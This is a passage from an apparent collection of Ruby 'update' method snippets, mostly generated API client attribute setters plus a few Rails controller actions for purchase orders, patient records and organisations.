args[:dlp_scan_summary] if args.key?(:dlp_scan_summary)\n @editable_by = args[:editable_by] if args.key?(:editable_by)\n @fallback_text = args[:fallback_text] if args.key?(:fallback_text)\n @id = args[:id] if args.key?(:id)\n @is_content_purged = args[:is_content_purged] if args.key?(:is_content_purged)\n @is_inline_reply = args[:is_inline_reply] if args.key?(:is_inline_reply)\n @last_edit_time = args[:last_edit_time] if args.key?(:last_edit_time)\n @last_update_time = args[:last_update_time] if args.key?(:last_update_time)\n @local_id = args[:local_id] if args.key?(:local_id)\n @message_integration_payload = args[:message_integration_payload] if args.key?(:message_integration_payload)\n @message_origin = args[:message_origin] if args.key?(:message_origin)\n @message_state = args[:message_state] if args.key?(:message_state)\n @origin_app_suggestions = args[:origin_app_suggestions] if args.key?(:origin_app_suggestions)\n @personal_labels = args[:personal_labels] if args.key?(:personal_labels)\n @private_message_infos = args[:private_message_infos] if args.key?(:private_message_infos)\n @private_message_viewer = args[:private_message_viewer] if args.key?(:private_message_viewer)\n @props = args[:props] if args.key?(:props)\n @quoted_by_state = args[:quoted_by_state] if args.key?(:quoted_by_state)\n @quoted_message_metadata = args[:quoted_message_metadata] if args.key?(:quoted_message_metadata)\n @reactions = args[:reactions] if args.key?(:reactions)\n @reports = args[:reports] if args.key?(:reports)\n @retention_settings = args[:retention_settings] if args.key?(:retention_settings)\n @rich_text_formatting_type = args[:rich_text_formatting_type] if args.key?(:rich_text_formatting_type)\n @secondary_message_key = args[:secondary_message_key] if args.key?(:secondary_message_key)\n @text_body = args[:text_body] if args.key?(:text_body)\n @tombstone_metadata = args[:tombstone_metadata] if args.key?(:tombstone_metadata)\n @updater_id = args[:updater_id] if args.key?(:updater_id)\n @upload_metadata = args[:upload_metadata] if args.key?(:upload_metadata)\n end", "def update\n \n #add201229\n #コンスタントへ注文番号を書き込む(先頭記号が変わった時)\n update_constant\n \n #工事データの住所を更新\n update_address_to_construction\n \n ###\n #メール送信する(メール送信ボタン押した場合)\n\t if params[:send].present?\n \n #画面のメアドをグローバルへセット\n set_responsible\n \n ##画面のメアドをグローバルへセット\n #$email_responsible = params[:purchase_order_datum][:supplier_master_attributes][:email1]\n ##CC用に担当者2のアドレスもグローバルへセット\n #$email_responsible2 = nil\n #if params[:purchase_order_datum][:supplier_master_id].present?\n # supplier = SupplierMaster.where(id: params[:purchase_order_datum][:supplier_master_id]).first\n # if supplier.present? && supplier.email_cc.present?\n # $email_responsible2 = supplier.email_cc\n # end\n #end\n \n #インスタンスへパラメータを再セット\n reset_parameters\n\t \n\t #メール送信フラグをセット\n params[:purchase_order_datum][:mail_sent_flag] = 1\n\t \n #moved200519\n\t #PostMailer.send_when_update(@purchase_order_datum).deliver\n\t end\n ###\n \n \n respond_to do |format|\n \n \n if @purchase_order_datum.update(purchase_order_datum_params)\n \n #moved 200519\n ###\n #メール送信する(メール送信ボタン押した場合)\n\t if params[:send].present?\n PostMailer.send_when_update(@purchase_order_datum).deliver\n\t end\n ###\n \n save_only_flag = true\n \n #臨時FAX用\n set_order_data_fax(format)\n \n #add210706\n #仕入担当者の追加・更新\n #update_responsible\n \n #format.html { redirect_to @purchase_order_datum, notice: 'Purchase order datum was successfully updated.' }\n\t #format.json { render :show, status: :ok, location: @purchase_order_datum , construction_id: params[:construction_id], move_flag: params[:move_flag]}\n\t\t if save_only_flag\n \n format.html {redirect_to purchase_order_datum_path(@purchase_order_datum, :construction_id => params[:construction_id], :move_flag => params[:move_flag])}\n\t\t else\n format.json { render :show, status: :ok, location: @purchase_order_datum }\n \n end\n else\n #add210727\n #バリデーション失敗の場合も、仕入担当者をリビルド\n\t @purchase_order_datum.build_supplier_responsible\n \n format.html { render :edit }\n format.json { render json: @purchase_order_datum.errors, status: :unprocessable_entity }\n end\n end\n\t\t\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @service_type_id = args[:service_type_id] if args.key?(:service_type_id)\n end", "def update!(**args)\n @amount = args[:amount] if args.key?(:amount)\n @amount_received = args[:amount_received] if args.key?(:amount_received)\n @balance = args[:balance] if args.key?(:balance)\n @devices = args[:devices] if args.key?(:devices)\n @id = args[:id] if args.key?(:id)\n @narration = args[:narration] if args.key?(:narration)\n @p_user_id = args[:p_user_id] if args.key?(:p_user_id)\n @payment_mode = args[:payment_mode] if args.key?(:payment_mode)\n @receipt_number = args[:receipt_number] if args.key?(:receipt_number)\n @revenue = args[:revenue] if args.key?(:revenue)\n @transaction_date = args[:transaction_date] if args.key?(:transaction_date)\n @users = args[:users] if args.key?(:users)\n end", "def update!(**args)\n @id = args[:id] unless args[:id].nil?\n @label_list_visibility = args[:label_list_visibility] unless args[:label_list_visibility].nil?\n @message_list_visibility = args[:message_list_visibility] unless args[:message_list_visibility].nil?\n @messages_total = args[:messages_total] unless args[:messages_total].nil?\n @messages_unread = args[:messages_unread] unless args[:messages_unread].nil?\n @name = args[:name] unless args[:name].nil?\n @threads_total = args[:threads_total] unless args[:threads_total].nil?\n @threads_unread = args[:threads_unread] unless args[:threads_unread].nil?\n @type = args[:type] unless args[:type].nil?\n end", "def update!(**args)\n @arguments_hint = args[:arguments_hint] if args.key?(:arguments_hint)\n @command_id = args[:command_id] if args.key?(:command_id)\n @command_name = args[:command_name] if args.key?(:command_name)\n @id = args[:id] if args.key?(:id)\n @triggers_dialog = args[:triggers_dialog] if args.key?(:triggers_dialog)\n @type = args[:type] if args.key?(:type)\n end", "def update!(**args)\n @acknowledged = args[:acknowledged] if args.key?(:acknowledged)\n @channel_type = args[:channel_type] if args.key?(:channel_type)\n @customer = args[:customer] if args.key?(:customer)\n @delivery_details = args[:delivery_details] if args.key?(:delivery_details)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @line_items = args[:line_items] if args.key?(:line_items)\n @merchant_id = args[:merchant_id] if args.key?(:merchant_id)\n @merchant_order_id = args[:merchant_order_id] if args.key?(:merchant_order_id)\n @net_amount = args[:net_amount] if args.key?(:net_amount)\n @payment_method = args[:payment_method] if args.key?(:payment_method)\n @payment_status = args[:payment_status] if args.key?(:payment_status)\n @placed_date = args[:placed_date] if args.key?(:placed_date)\n @promotions = args[:promotions] if args.key?(:promotions)\n @refunds = args[:refunds] if args.key?(:refunds)\n @shipments = args[:shipments] if args.key?(:shipments)\n @shipping_cost = args[:shipping_cost] if args.key?(:shipping_cost)\n @shipping_cost_tax = args[:shipping_cost_tax] if args.key?(:shipping_cost_tax)\n @shipping_option = args[:shipping_option] if args.key?(:shipping_option)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @deliver_by_date = args[:deliver_by_date] if args.key?(:deliver_by_date)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @operation_id = args[:operation_id] if args.key?(:operation_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @ship_by_date = args[:ship_by_date] if args.key?(:ship_by_date)\n end", "def update!(**args)\n @archived = args[:archived] if args.key?(:archived)\n @archived_time = args[:archived_time] if args.key?(:archived_time)\n @archived_timestamp = args[:archived_timestamp] if args.key?(:archived_timestamp)\n @async_interaction_type = args[:async_interaction_type] if args.key?(:async_interaction_type)\n @attachment = args[:attachment] if args.key?(:attachment)\n @bare_title = args[:bare_title] if args.key?(:bare_title)\n @client_id = args[:client_id] if args.key?(:client_id)\n @client_type = args[:client_type] if args.key?(:client_type)\n @create_time = args[:create_time] if args.key?(:create_time)\n @create_timestamp = args[:create_timestamp] if args.key?(:create_timestamp)\n @creator = args[:creator] if args.key?(:creator)\n @customized_notification_card = args[:customized_notification_card] if args.key?(:customized_notification_card)\n @datetime = args[:datetime] if args.key?(:datetime)\n @description = args[:description] if args.key?(:description)\n @document_assignment_source = args[:document_assignment_source] if args.key?(:document_assignment_source)\n @dynamite_group_assignment_source = args[:dynamite_group_assignment_source] if args.key?(:dynamite_group_assignment_source)\n @extra_notification_device_id = args[:extra_notification_device_id] if args.key?(:extra_notification_device_id)\n @id = args[:id] if args.key?(:id)\n @location = args[:location] if args.key?(:location)\n @log = args[:log] if args.key?(:log)\n @memory_payload = args[:memory_payload] if args.key?(:memory_payload)\n @notifying = args[:notifying] if args.key?(:notifying)\n @personal_reference_metadata = args[:personal_reference_metadata] if args.key?(:personal_reference_metadata)\n @recipient = args[:recipient] if args.key?(:recipient)\n @recurrence = args[:recurrence] if args.key?(:recurrence)\n @server_id = args[:server_id] if args.key?(:server_id)\n @symbolic_time = args[:symbolic_time] if args.key?(:symbolic_time)\n @title = args[:title] if args.key?(:title)\n @update_timestamp = args[:update_timestamp] if args.key?(:update_timestamp)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @destination = args[:destination] if args.key?(:destination)\n @display_name = args[:display_name] if args.key?(:display_name)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @probing_details = args[:probing_details] if args.key?(:probing_details)\n @protocol = args[:protocol] if args.key?(:protocol)\n @reachability_details = args[:reachability_details] if args.key?(:reachability_details)\n @related_projects = args[:related_projects] if args.key?(:related_projects)\n @source = args[:source] if args.key?(:source)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update\n @time = Time.new.strftime('%d.%m.%Y %H:%M:%S')\n @doctor = Doctor.find(params[:doctor_id])\n @allergy_list = Patient.allergy_counts\n @patient.allergy_list.each { |a| a.replace (\"УДАЛЕНО: [\" + @time + \": \" + a.to_s + \"]\") }\n @current_document = @patient.document_name_list.to_a.first\n @patient.document_name_list.clear\n @new_allergies = patient_params[\"allergy\"].to_a.reject!(&:empty?).join(\", \").to_s\n if @new_allergies != \"\"\n @patient.allergy_list.add(\"ДОБАВЛЕНО \" + @time + \": \" + @new_allergies)\n end\n @patient.document_name_list.add(@current_document.to_s + \" ИЗМЕНЕНО \" + @time + \": \" + patient_params[\"document_name\"].to_s)\n @current_params = patient_params.except(\"birthday(3i)\", \"birthday(2i)\", \"birthday(1i)\", \"disability_date(3i)\", \"disability_date(2i)\", \"disability_date(1i)\", \"allergy\", \"document_name\")\n @new_params = patient_params.except(\"birthday(3i)\", \"birthday(2i)\", \"birthday(1i)\", \"disability_date(3i)\", \"disability_date(2i)\", \"disability_date(1i)\", \"allergy\", \"document_name\")\n @new_params.each do |p|\n key = p.first\n\n if @current_params[key].kind_of?(Array)\n @new_value = @current_params[key].to_a.join(\", \").to_s\n ывапрол\n else\n @new_value = @current_params[key].to_s\n end\n\n if @current_params[key] != @patient.send(key) && @current_params[key] != \"\"\n\n @new_params[key] = @patient.send(key).to_s + \" ИЗМЕНЕНО \" + Time.new.to_s + \": \" + @new_value\n end\n if @current_params[key] == \"\" && @patient.send(key) != \"\"\n @new_params[key] = \"ДОБАВЛЕНО \" + @time + \": \" + @new_value\n end\n end\n\n #fghj\n\n respond_to do |format|\n if @patient.update(@new_params)\n #dfghjkl\n format.html { redirect_to doctor_patient_path(@doctor.id, @patient.id), notice: \"#{t 'activerecord.successful.messages.updated'}\" }\n format.json { render :show, status: :ok, location: @patient }\n else\n format.html { render :edit }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @data_refresh_window_days = args[:data_refresh_window_days] if args.key?(:data_refresh_window_days)\n @data_source_id = args[:data_source_id] if args.key?(:data_source_id)\n @dataset_region = args[:dataset_region] if args.key?(:dataset_region)\n @destination_dataset_id = args[:destination_dataset_id] if args.key?(:destination_dataset_id)\n @disabled = args[:disabled] if args.key?(:disabled)\n @display_name = args[:display_name] if args.key?(:display_name)\n @email_preferences = args[:email_preferences] if args.key?(:email_preferences)\n @encryption_configuration = args[:encryption_configuration] if args.key?(:encryption_configuration)\n @name = args[:name] if args.key?(:name)\n @next_run_time = args[:next_run_time] if args.key?(:next_run_time)\n @notification_pubsub_topic = args[:notification_pubsub_topic] if args.key?(:notification_pubsub_topic)\n @owner_info = args[:owner_info] if args.key?(:owner_info)\n @params = args[:params] if args.key?(:params)\n @schedule = args[:schedule] if args.key?(:schedule)\n @schedule_options = args[:schedule_options] if args.key?(:schedule_options)\n @state = args[:state] if args.key?(:state)\n @update_time = args[:update_time] if args.key?(:update_time)\n @user_id = args[:user_id] if args.key?(:user_id)\n end", "def update!(**args)\n @account_id = args[:account_id] if args.key?(:account_id)\n @blocking_rule_id = args[:blocking_rule_id] if args.key?(:blocking_rule_id)\n @blocking_trigger_id = args[:blocking_trigger_id] if args.key?(:blocking_trigger_id)\n @container_id = args[:container_id] if args.key?(:container_id)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @firing_rule_id = args[:firing_rule_id] if args.key?(:firing_rule_id)\n @firing_trigger_id = args[:firing_trigger_id] if args.key?(:firing_trigger_id)\n @live_only = args[:live_only] if args.key?(:live_only)\n @name = args[:name] if args.key?(:name)\n @notes = args[:notes] if args.key?(:notes)\n @parameter = args[:parameter] if args.key?(:parameter)\n @parent_folder_id = args[:parent_folder_id] if args.key?(:parent_folder_id)\n @paused = args[:paused] if args.key?(:paused)\n @priority = args[:priority] if args.key?(:priority)\n @schedule_end_ms = args[:schedule_end_ms] if args.key?(:schedule_end_ms)\n @schedule_start_ms = args[:schedule_start_ms] if args.key?(:schedule_start_ms)\n @setup_tag = args[:setup_tag] if args.key?(:setup_tag)\n @tag_firing_option = args[:tag_firing_option] if args.key?(:tag_firing_option)\n @tag_id = args[:tag_id] if args.key?(:tag_id)\n @teardown_tag = args[:teardown_tag] if args.key?(:teardown_tag)\n @type = args[:type] if args.key?(:type)\n end", "def update!(**args)\n @client_operation_id = args[:client_operation_id] if args.key?(:client_operation_id)\n @creation_timestamp = args[:creation_timestamp] if args.key?(:creation_timestamp)\n @description = args[:description] if args.key?(:description)\n @end_time = args[:end_time] if args.key?(:end_time)\n @error = args[:error] if args.key?(:error)\n @http_error_message = args[:http_error_message] if args.key?(:http_error_message)\n @http_error_status_code = args[:http_error_status_code] if args.key?(:http_error_status_code)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @operation_type = args[:operation_type] if args.key?(:operation_type)\n @progress = args[:progress] if args.key?(:progress)\n @region = args[:region] if args.key?(:region)\n @self_link = args[:self_link] if args.key?(:self_link)\n @start_time = args[:start_time] if args.key?(:start_time)\n @status = args[:status] if args.key?(:status)\n @status_message = args[:status_message] if args.key?(:status_message)\n @target_id = args[:target_id] if args.key?(:target_id)\n @target_link = args[:target_link] if args.key?(:target_link)\n @user = args[:user] if args.key?(:user)\n @warnings = args[:warnings] if args.key?(:warnings)\n @zone = args[:zone] if args.key?(:zone)\n end", "def update!(**args)\n @client_operation_id = args[:client_operation_id] if args.key?(:client_operation_id)\n @creation_timestamp = args[:creation_timestamp] if args.key?(:creation_timestamp)\n @description = args[:description] if args.key?(:description)\n @end_time = args[:end_time] if args.key?(:end_time)\n @error = args[:error] if args.key?(:error)\n @http_error_message = args[:http_error_message] if args.key?(:http_error_message)\n @http_error_status_code = args[:http_error_status_code] if args.key?(:http_error_status_code)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @operation_type = args[:operation_type] if args.key?(:operation_type)\n @progress = args[:progress] if args.key?(:progress)\n @region = args[:region] if args.key?(:region)\n @self_link = args[:self_link] if args.key?(:self_link)\n @start_time = args[:start_time] if args.key?(:start_time)\n @status = args[:status] if args.key?(:status)\n @status_message = args[:status_message] if args.key?(:status_message)\n @target_id = args[:target_id] if args.key?(:target_id)\n @target_link = args[:target_link] if args.key?(:target_link)\n @user = args[:user] if args.key?(:user)\n @warnings = args[:warnings] if args.key?(:warnings)\n @zone = args[:zone] if args.key?(:zone)\n end", "def update(parms)\n dn = parms.delete(:naissance)\n self.naissance = Date.civil(dn[:year].to_i, dn[:month].to_i, dn[:day].to_i)\n saveActivites(parms.delete(:activites))\n saveParticipations(parms.delete(:participations))\n \n # s'assurer que les informations pour les lecons de natation ne sont pas presente\n # si pas de lecons. On efface l'input puisque plus valide.\n unless abonneCoursDeNatation?\n parms[:cours_de_natation] = parms[:session_de_natation] = ''\n end\n \n # Finir l'update des autres parametres du membre.\n return super\n end", "def update!(**args)\n @bool_value = args[:bool_value] if args.key?(:bool_value)\n @datetime_value = args[:datetime_value] if args.key?(:datetime_value)\n @int_value = args[:int_value] if args.key?(:int_value)\n @msg_value = args[:msg_value] if args.key?(:msg_value)\n @name = args[:name] if args.key?(:name)\n @string_value = args[:string_value] if args.key?(:string_value)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @field = args[:field] if args.key?(:field)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @field = args[:field] if args.key?(:field)\n end", "def update!(**args)\n @bool_value = args[:bool_value] if args.key?(:bool_value)\n @int_value = args[:int_value] if args.key?(:int_value)\n @message_value = args[:message_value] if args.key?(:message_value)\n @multi_int_value = args[:multi_int_value] if args.key?(:multi_int_value)\n @multi_message_value = args[:multi_message_value] if args.key?(:multi_message_value)\n @multi_value = args[:multi_value] if args.key?(:multi_value)\n @name = args[:name] if args.key?(:name)\n @value = args[:value] if args.key?(:value)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n @user_owned_drydock_note = args[:user_owned_drydock_note] if args.key?(:user_owned_drydock_note)\n end", "def update!(**args)\n @deletion_reason = args[:deletion_reason] if args.key?(:deletion_reason)\n @hide_reason = args[:hide_reason] if args.key?(:hide_reason)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @lifecycle_state = args[:lifecycle_state] if args.key?(:lifecycle_state)\n @name = args[:name] if args.key?(:name)\n @phone_number_spec = args[:phone_number_spec] if args.key?(:phone_number_spec)\n @phone_numbers = args[:phone_numbers] if args.key?(:phone_numbers)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update!(**args)\n @deletion_type = args[:deletion_type] if args.key?(:deletion_type)\n end", "def update!(**args)\n @data_source_id = args[:data_source_id] if args.key?(:data_source_id)\n @destination_dataset_id = args[:destination_dataset_id] if args.key?(:destination_dataset_id)\n @email_preferences = args[:email_preferences] if args.key?(:email_preferences)\n @end_time = args[:end_time] if args.key?(:end_time)\n @error_status = args[:error_status] if args.key?(:error_status)\n @name = args[:name] if args.key?(:name)\n @notification_pubsub_topic = args[:notification_pubsub_topic] if args.key?(:notification_pubsub_topic)\n @params = args[:params] if args.key?(:params)\n @run_time = args[:run_time] if args.key?(:run_time)\n @schedule = args[:schedule] if args.key?(:schedule)\n @schedule_time = args[:schedule_time] if args.key?(:schedule_time)\n @start_time = args[:start_time] if args.key?(:start_time)\n @state = args[:state] if args.key?(:state)\n @update_time = args[:update_time] if args.key?(:update_time)\n @user_id = args[:user_id] if args.key?(:user_id)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @name = args[:name] if args.key?(:name)\n @related_tags = args[:related_tags] if args.key?(:related_tags)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update!(**args)\n @annotation = args[:annotation] if args.key?(:annotation)\n @dynamite_placeholder_metadata = args[:dynamite_placeholder_metadata] if args.key?(:dynamite_placeholder_metadata)\n @event_otr_status = args[:event_otr_status] if args.key?(:event_otr_status)\n @group_link_sharing_modification_event = args[:group_link_sharing_modification_event] if args.key?(:group_link_sharing_modification_event)\n @hangout_event = args[:hangout_event] if args.key?(:hangout_event)\n @invite_accepted_event = args[:invite_accepted_event] if args.key?(:invite_accepted_event)\n @membership_change_event = args[:membership_change_event] if args.key?(:membership_change_event)\n @otr_chat_message_event = args[:otr_chat_message_event] if args.key?(:otr_chat_message_event)\n @otr_modification_event = args[:otr_modification_event] if args.key?(:otr_modification_event)\n @rename_event = args[:rename_event] if args.key?(:rename_event)\n end", "def update!(**args)\n @cancellation_details = args[:cancellation_details] if args.key?(:cancellation_details)\n @create_time = args[:create_time] if args.key?(:create_time)\n @cycle_end_time = args[:cycle_end_time] if args.key?(:cycle_end_time)\n @end_user_entitled = args[:end_user_entitled] if args.key?(:end_user_entitled)\n @free_trial_end_time = args[:free_trial_end_time] if args.key?(:free_trial_end_time)\n @line_items = args[:line_items] if args.key?(:line_items)\n @name = args[:name] if args.key?(:name)\n @partner_user_token = args[:partner_user_token] if args.key?(:partner_user_token)\n @processing_state = args[:processing_state] if args.key?(:processing_state)\n @products = args[:products] if args.key?(:products)\n @promotion_specs = args[:promotion_specs] if args.key?(:promotion_specs)\n @promotions = args[:promotions] if args.key?(:promotions)\n @redirect_uri = args[:redirect_uri] if args.key?(:redirect_uri)\n @renewal_time = args[:renewal_time] if args.key?(:renewal_time)\n @service_location = args[:service_location] if args.key?(:service_location)\n @state = args[:state] if args.key?(:state)\n @update_time = args[:update_time] if args.key?(:update_time)\n @upgrade_downgrade_details = args[:upgrade_downgrade_details] if args.key?(:upgrade_downgrade_details)\n end", "def update!(**args)\n @can_delete = args[:can_delete] if args.key?(:can_delete)\n @can_have_business_calls = args[:can_have_business_calls] if args.key?(:can_have_business_calls)\n @can_have_food_menus = args[:can_have_food_menus] if args.key?(:can_have_food_menus)\n @can_modify_service_list = args[:can_modify_service_list] if args.key?(:can_modify_service_list)\n @can_operate_health_data = args[:can_operate_health_data] if args.key?(:can_operate_health_data)\n @can_operate_local_post = args[:can_operate_local_post] if args.key?(:can_operate_local_post)\n @can_operate_lodging_data = args[:can_operate_lodging_data] if args.key?(:can_operate_lodging_data)\n @duplicate_location = args[:duplicate_location] if args.key?(:duplicate_location)\n @has_google_updated = args[:has_google_updated] if args.key?(:has_google_updated)\n @has_pending_edits = args[:has_pending_edits] if args.key?(:has_pending_edits)\n @has_voice_of_merchant = args[:has_voice_of_merchant] if args.key?(:has_voice_of_merchant)\n @maps_uri = args[:maps_uri] if args.key?(:maps_uri)\n @new_review_uri = args[:new_review_uri] if args.key?(:new_review_uri)\n @place_id = args[:place_id] if args.key?(:place_id)\n end", "def update!(**args)\n @allow_auto_generated_text = args[:allow_auto_generated_text] if args.key?(:allow_auto_generated_text)\n @can_show_info_cards = args[:can_show_info_cards] if args.key?(:can_show_info_cards)\n @can_show_photos = args[:can_show_photos] if args.key?(:can_show_photos)\n @num_ade_device_allowed = args[:num_ade_device_allowed] if args.key?(:num_ade_device_allowed)\n @num_adobe_id_allowed = args[:num_adobe_id_allowed] if args.key?(:num_adobe_id_allowed)\n @num_downloads_allowed = args[:num_downloads_allowed] if args.key?(:num_downloads_allowed)\n @num_simultaneous_access = args[:num_simultaneous_access] if args.key?(:num_simultaneous_access)\n @offline_download = args[:offline_download] if args.key?(:offline_download)\n @percent_copyable = args[:percent_copyable] if args.key?(:percent_copyable)\n @percent_printable = args[:percent_printable] if args.key?(:percent_printable)\n @restrict_only_to_text = args[:restrict_only_to_text] if args.key?(:restrict_only_to_text)\n @sell_fixed_layout_as_image_only = args[:sell_fixed_layout_as_image_only] if args.key?(:sell_fixed_layout_as_image_only)\n @text_to_speech = args[:text_to_speech] if args.key?(:text_to_speech)\n @treat_as_public_domain = args[:treat_as_public_domain] if args.key?(:treat_as_public_domain)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @is_required = args[:is_required] if args.key?(:is_required)\n @name = args[:name] if args.key?(:name)\n @order = args[:order] if args.key?(:order)\n @type = args[:type] if args.key?(:type)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @fields = args[:fields] if args.key?(:fields)\n @mode = args[:mode] if args.key?(:mode)\n @name = args[:name] if args.key?(:name)\n @type = args[:type] if args.key?(:type)\n end", "def update!(**args)\n @agsa_client_instance_id = args[:agsa_client_instance_id] if args.key?(:agsa_client_instance_id)\n @allo_device_id = args[:allo_device_id] if args.key?(:allo_device_id)\n @canonical_device_id = args[:canonical_device_id] if args.key?(:canonical_device_id)\n @cast_device_id = args[:cast_device_id] if args.key?(:cast_device_id)\n @client_instance_id = args[:client_instance_id] if args.key?(:client_instance_id)\n @connected_dock_id = args[:connected_dock_id] if args.key?(:connected_dock_id)\n @device_config = args[:device_config] if args.key?(:device_config)\n @device_type = args[:device_type] if args.key?(:device_type)\n @home_graph_device_id = args[:home_graph_device_id] if args.key?(:home_graph_device_id)\n @libassistant_device_id = args[:libassistant_device_id] if args.key?(:libassistant_device_id)\n @multi_hotword_arbitration_device_id = args[:multi_hotword_arbitration_device_id] if args.key?(:multi_hotword_arbitration_device_id)\n @opa_ios_device_id = args[:opa_ios_device_id] if args.key?(:opa_ios_device_id)\n @quartz_device_id = args[:quartz_device_id] if args.key?(:quartz_device_id)\n end", "def update!(**args)\n @agsa_client_instance_id = args[:agsa_client_instance_id] if args.key?(:agsa_client_instance_id)\n @allo_device_id = args[:allo_device_id] if args.key?(:allo_device_id)\n @canonical_device_id = args[:canonical_device_id] if args.key?(:canonical_device_id)\n @cast_device_id = args[:cast_device_id] if args.key?(:cast_device_id)\n @client_instance_id = args[:client_instance_id] if args.key?(:client_instance_id)\n @connected_dock_id = args[:connected_dock_id] if args.key?(:connected_dock_id)\n @device_config = args[:device_config] if args.key?(:device_config)\n @device_type = args[:device_type] if args.key?(:device_type)\n @home_graph_device_id = args[:home_graph_device_id] if args.key?(:home_graph_device_id)\n @libassistant_device_id = args[:libassistant_device_id] if args.key?(:libassistant_device_id)\n @multi_hotword_arbitration_device_id = args[:multi_hotword_arbitration_device_id] if args.key?(:multi_hotword_arbitration_device_id)\n @opa_ios_device_id = args[:opa_ios_device_id] if args.key?(:opa_ios_device_id)\n @quartz_device_id = args[:quartz_device_id] if args.key?(:quartz_device_id)\n end", "def update\n @organisme.departements.delete_all\n params[:departements] ||= []\n @dep_table = params[:departements]\n logger.debug \"Departements table sent : #@dep_table\"\n @dep_table.each do |depid|\n @organisme.departements << Departement.find(depid)\n end\n respond_to do |format|\n if @organisme.update(organisme_params)\n format.html { redirect_to @organisme, notice: 'Organisme was successfully updated.' }\n format.json { render :show, status: :ok, location: @organisme }\n else\n format.html { render :edit }\n format.json { render json: @organisme.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @action_project_configs = args[:action_project_configs] if args.key?(:action_project_configs)\n @agent_information = args[:agent_information] if args.key?(:agent_information)\n @assistant_device_id = args[:assistant_device_id] if args.key?(:assistant_device_id)\n @attributes = args[:attributes] if args.key?(:attributes)\n @creator_gaia_id = args[:creator_gaia_id] if args.key?(:creator_gaia_id)\n @derived_type = args[:derived_type] if args.key?(:derived_type)\n @device_model_id = args[:device_model_id] if args.key?(:device_model_id)\n @gcm_execution_address = args[:gcm_execution_address] if args.key?(:gcm_execution_address)\n @group_ids = args[:group_ids] if args.key?(:group_ids)\n @hash_value = args[:hash_value] if args.key?(:hash_value)\n @lanscan_opted_in = args[:lanscan_opted_in] if args.key?(:lanscan_opted_in)\n @matter_unique_id = args[:matter_unique_id] if args.key?(:matter_unique_id)\n @model_name = args[:model_name] if args.key?(:model_name)\n @notification_enabled_by_user = args[:notification_enabled_by_user] if args.key?(:notification_enabled_by_user)\n @notification_supported_by_agent = args[:notification_supported_by_agent] if args.key?(:notification_supported_by_agent)\n @opaque_custom_data = args[:opaque_custom_data] if args.key?(:opaque_custom_data)\n @operational_node_id = args[:operational_node_id] if args.key?(:operational_node_id)\n @other_device_ids = args[:other_device_ids] if args.key?(:other_device_ids)\n @other_device_sources = args[:other_device_sources] if args.key?(:other_device_sources)\n @parent_node = args[:parent_node] if args.key?(:parent_node)\n @parent_type = args[:parent_type] if args.key?(:parent_type)\n @personalized_nicknames = args[:personalized_nicknames] if args.key?(:personalized_nicknames)\n @physical_location = args[:physical_location] if args.key?(:physical_location)\n @plural = args[:plural] if args.key?(:plural)\n @primary_name = args[:primary_name] if args.key?(:primary_name)\n @report_state_status = args[:report_state_status] if args.key?(:report_state_status)\n @role_information = args[:role_information] if args.key?(:role_information)\n @routable_via_gcm = args[:routable_via_gcm] if args.key?(:routable_via_gcm)\n @saft_document = args[:saft_document] if args.key?(:saft_document)\n @smart_device_management_data = args[:smart_device_management_data] if args.key?(:smart_device_management_data)\n @smart_home_features = args[:smart_home_features] if args.key?(:smart_home_features)\n @supported_structure_features = args[:supported_structure_features] if args.key?(:supported_structure_features)\n @supported_traits_by_agent = args[:supported_traits_by_agent] if args.key?(:supported_traits_by_agent)\n @supports_direct_response = args[:supports_direct_response] if args.key?(:supports_direct_response)\n @target_device_signal_strengths = args[:target_device_signal_strengths] if args.key?(:target_device_signal_strengths)\n @tdss_update_timestamp = args[:tdss_update_timestamp] if args.key?(:tdss_update_timestamp)\n @trait_routing_hints = args[:trait_routing_hints] if args.key?(:trait_routing_hints)\n @trait_routing_table = args[:trait_routing_table] if args.key?(:trait_routing_table)\n @trait_to_attribute_protos = args[:trait_to_attribute_protos] if args.key?(:trait_to_attribute_protos)\n @type = args[:type] if args.key?(:type)\n @user_defined_device_type = args[:user_defined_device_type] if args.key?(:user_defined_device_type)\n @voice_match_required = args[:voice_match_required] if args.key?(:voice_match_required)\n @will_report_state = args[:will_report_state] if args.key?(:will_report_state)\n @zone_name_saft_document = args[:zone_name_saft_document] if args.key?(:zone_name_saft_document)\n end", "def update!(**args)\n @attendees = args[:attendees] if args.key?(:attendees)\n @background_color = args[:background_color] if args.key?(:background_color)\n @calendar_id = args[:calendar_id] if args.key?(:calendar_id)\n @creator = args[:creator] if args.key?(:creator)\n @description = args[:description] if args.key?(:description)\n @end = args[:end] if args.key?(:end)\n @event_id = args[:event_id] if args.key?(:event_id)\n @flair_name = args[:flair_name] if args.key?(:flair_name)\n 